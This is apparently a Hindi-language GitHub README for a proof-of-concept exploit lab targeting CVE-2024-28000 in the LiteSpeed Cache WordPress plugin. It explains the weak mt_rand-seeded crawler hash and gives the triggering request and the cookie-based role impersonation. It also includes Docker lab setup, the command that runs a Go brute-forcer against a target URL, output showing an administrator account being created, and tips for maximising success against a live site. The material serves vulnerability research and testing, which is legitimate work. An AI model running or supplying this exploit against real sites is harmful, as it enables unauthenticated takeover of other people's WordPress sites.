
CVE-2024-28000 — Updated!
CVE-2024-28000 के लिए प्रैक्टिकल एक्सप्लॉइट लैब — LiteSpeed Cache (WordPress प्लगइन, <=6.3.0.1) में अनऑथेंटिकेटेड प्रिविलेज एस्केलेशन। Docker के साथ एक कमजोर वातावरण तैयार करता है और एक Go-आधारित ब्रूट-फोर्सर शामिल करता है जो एडमिनिस्ट्रेटर अकाउंट बनाने के लिए कमजोर mt_rand हैश को क्रैक करता है।
CVE-2024-28000 - LiteSpeed Cache प्रिविलेज एस्केलेशन PoC
[!WARNING] यह रिपॉज़िटरी केवल शैक्षिक और शोध उद्देश्यों के लिए है।
- दिए गए PoC का उपयोग केवल उन सिस्टम पर करें जिनका आप स्वामी हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति है।
- इस रिपॉज़िटरी की किसी भी सामग्री का अनधिकृत उपयोग, शोषण, या दुरुपयोग अवैध है।
- लेखक किसी भी नुकसान, दुरुपयोग, या अनुचित उपयोग से उत्पन्न कानूनी परिणामों की कोई ज़िम्मेदारी नहीं लेते।
अवलोकन
CVE-2024-28000 एक गंभीर अनधिप्रमाणित प्रिविलेज एस्केलेशन भेद्यता है जो WordPress के लिए LiteSpeed Cache प्लगइन को प्रभावित करती है। यह भेद्यता प्लगइन की क्रॉलर रोल सिमुलेशन सुविधा में कमज़ोर हैश-आधारित प्रमाणीकरण तंत्र से उत्पन्न होती है, जिससे एक पूरी तरह से अनधिप्रमाणित हमलावर WordPress एडमिनिस्ट्रेटर का रूप धारण कर सकता है और साइट का पूर्ण नियंत्रण ले सकता है।
भेद्यता कैसे काम करती है
LiteSpeed Cache प्लगइन में एक क्रॉलर शामिल है जो विभिन्न उपयोगकर्ता भूमिकाओं के रूप में पृष्ठों पर जाकर साइट कैश को पहले से गर्म करता है। क्रॉलर को प्रमाणित करने के लिए, प्लगइन एक छोटा हैश उत्पन्न करता है और उसे WordPress options तालिका में संग्रहीत करता है। कोई भी अनुरोध जो कुकी में यह हैश प्रस्तुत करता है, उसे दूसरी कुकी में निर्दिष्ट उपयोगकर्ता भूमिका प्रदान की जाती है।
तीन डिज़ाइन त्रुटियाँ मिलकर इसे शोषण योग्य बनाती हैं:
त्रुटि 1 - अनधिप्रमाणित हैश ट्रिगर
हैश उत्पन्न करने वाली AJAX क्रिया अनधिप्रमाणित उपयोगकर्ताओं के लिए बिना किसी क्षमता या nonce जाँच के पंजीकृत है:
// src/router.cls.php
add_action('wp_ajax_nopriv_async_litespeed', [$this, 'async_litespeed_handler']);
public function async_litespeed_handler() {
// No capability check
// No nonce verification
// Any visitor can call this
$type = sanitize_key($_POST['litespeed_type'] ?? '');
if ($type === 'crawler') {
$hash = Str::rrand(6);
self::update_option(self::ITEM_HASH, $hash);
}
wp_die();
}
हमलावर इसे निम्नलिखित भेजकर ट्रिगर करता है:
POST /wp-admin/admin-ajax.php
action=async_litespeed&litespeed_type=crawler
त्रुटि 2 - पूर्वानुमेय हैश (केवल 1,000,000 का सीड स्पेस)
हैश PHP के mt_rand() का उपयोग करके उत्पन्न किया जाता है जिसे वर्तमान समय के माइक्रोसेकंड घटक से सीड किया जाता है:
// src/str.cls.php
public static function rrand($len, $type = 7) {
mt_srand((int) ((float) microtime() * 1000000));
// seed = microseconds = 0 to 999,999 only
$charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$str = '';
for ($i = 0; $i < $len; $i++) {
$str .= $charlist[mt_rand(0, strlen($charlist) - 1)];
}
return $str;
}
microtime() केवल भिन्नात्मक सेकंड लौटाता है (जैसे 0.523847)। 1,000,000 से गुणा करने पर, यह 0 और 999,999 के बीच एक सीड देता है - दिन के समय की परवाह किए बिना। एक हमलावर जो स्वयं हैश उत्पन्न करता है, वह अनुमानित उत्पादन समय जानता है, और मिनटों में सभी 1 मिलियन सीड को ब्रूट-फोर्स कर सकता है।
त्रुटि 3 - सत्यापन पर कोई दर सीमा नहीं
प्लगइन प्रत्येक अनुरोध पर एक साधारण स्ट्रिंग तुलना के साथ हैश को सत्यापित करता है और कोई लॉकआउट या दर सीमा नहीं है:
// src/router.cls.php
public function is_role_simulation() {
if (empty($_COOKIE['litespeed_hash'])) return;
$hash = self::get_option(self::ITEM_HASH);
// Simple string compare - no rate limiting, no IP check, no lockout
if ($_COOKIE['litespeed_hash'] !== $hash) return;
$role_id = isset($_COOKIE['litespeed_role']) ? (int)$_COOKIE['litespeed_role'] : 0;
wp_set_current_user($role_id); // attacker becomes admin (ID = 1)
}
पूर्ण हमला प्रवाह
sequenceDiagram
participant A as Attacker
participant W as LiteSpeed Cache / WordPress
A->>W: POST /wp-admin/admin-ajax.php
W->>W: Seed mt_rand() with microtime()
W->>W: Generate & store litespeed_hash
A->>A: Brute-force PRNG seed
A->>A: Replicate PHP mt_rand() in Go
A->>A: Recover litespeed_hash
A->>W: Cookie: litespeed_hash=<recovered_hash>
A->>W: Cookie: litespeed_role=1
W->>W: verify_hash()
W->>W: wp_set_current_user(1)
A->>W: POST /index.php?rest_route=/wp/v2/users
W-->>A: Administrator account created
A->>W: Login with new Administrator account
Note over A,W: Full Site Compromise
लैब सेटअप
आवश्यकताएँ
- Docker
- Go 1.21+
इंस्टॉलेशन
# Clone the repository
git clone https://github.com/AliHzSec/CVE-2024-28000.git
# Change directory
cd CVE-2024-28000
# Set your server IP ( replace with YOUR_ACTUAL_IP ):
sed -i 's/YOUR_SERVER_IP/YOUR_ACTUAL_IP/g' lab/docker-compose.yml
# Build and start:
cd lab && docker compose up -d --build
# Watch setup progress:
docker compose logs -f wordpress
जब तक आप यह न देखें प्रतीक्षा करें:
============================================================
Lab ready!
Admin : http://YOUR_IP/wp-admin
Login : admin / admin123
Plugin : LiteSpeed Cache 6.3.0.1 (CVE-2024-28000)
============================================================
उपयोग
एक्सप्लॉइट चलाएँ
cd expl && go run main.go -url http://TARGET_IP/ -threads 40
अपेक्षित आउटपुट
============================================================
CVE-2024-28000 - LiteSpeed Cache Privilege Escalation PoC
============================================================
Target : https://TARGET_IP/
Seeds : 0 to 999999 (1000000 total)
Threads : 40
Timeout : 5s
============================================================
[INF] Self-test passed - MT19937 output matches PHP (11 seeds verified)
[INF] Sanity check passed - endpoint returns 401 for wrong hash
[INF] Hash generation triggered successfully
[INF] Waiting 1 second for hash to be stored...
[INF] Starting brute-force with 40 threads...
[INF] [Thread 5] Testing seed 100000
[INF] [Thread 7] Testing seed 150000
[INF] [Thread 9] Testing seed 200000
[INF] [Thread 3] Testing seed 50000
[INF] [Thread 27] Testing seed 650000
[INF] [Thread 25] Testing seed 600000
[INF] [Thread 11] Testing seed 250000
[INF] [Thread 21] Testing seed 500000
[INF] [Thread 17] Testing seed 400000
[INF] [Thread 19] Testing seed 450000
[INF] [Thread 13] Testing seed 300000
[INF] [Thread 31] Testing seed 750000
[INF] [Thread 15] Testing seed 350000
[INF] [Thread 1] Testing seed 0
[INF] [Thread 33] Testing seed 800000
[INF] [Thread 23] Testing seed 550000
[INF] [Thread 37] Testing seed 900000
[INF] [Thread 39] Testing seed 950000
[INF] [Thread 35] Testing seed 850000
[INF] [Thread 29] Testing seed 700000
[+] Hash cracked : 2M0Aty (seed: 554242)
[+] Username : test_lab_user
[+] Password : test_lab_pass
[+] Login at : https://TARGET_IP/wp-login.php
[INF] Completed in 2831.14s
[!IMPORTANT] हैश की कोई समाप्ति नहीं है, लेकिन इसे LiteSpeed के अंतर्निहित क्रॉलर द्वारा पुनः उत्पन्न किया जा सकता है।
- यदि क्रॉलर सक्रिय है (डिफ़ॉल्ट अंतराल: प्रत्येक 10 मिनट), तो डेटाबेस में संग्रहीत हैश स्वचालित रूप से बदल दिया जाएगा - जिससे ब्रूट-फोर्स विफल हो जाएगा क्योंकि यह पुराने हैश के लिए सीड का परीक्षण कर रहा है।
- यदि क्रॉलर अक्षम है, तो हैश अनिश्चित काल तक बना रहता है और थ्रेड संख्या केवल गति को प्रभावित करती है, सफलता को नहीं।
- सफलता दर को अधिकतम करने के लिए: हैश उत्पादन को ट्रिगर करें और एक्सप्लॉइट को तुरंत चलाएँ, जितने थ्रेड्स लक्ष्य संभाल सके।
- हमले के बीच में हैश बदले जाने के संकेत: स्टार्टअप पर sanity check पास होने के बावजूद सभी 1,000,000 सीड बिना किसी परिणाम के समाप्त हो जाते हैं।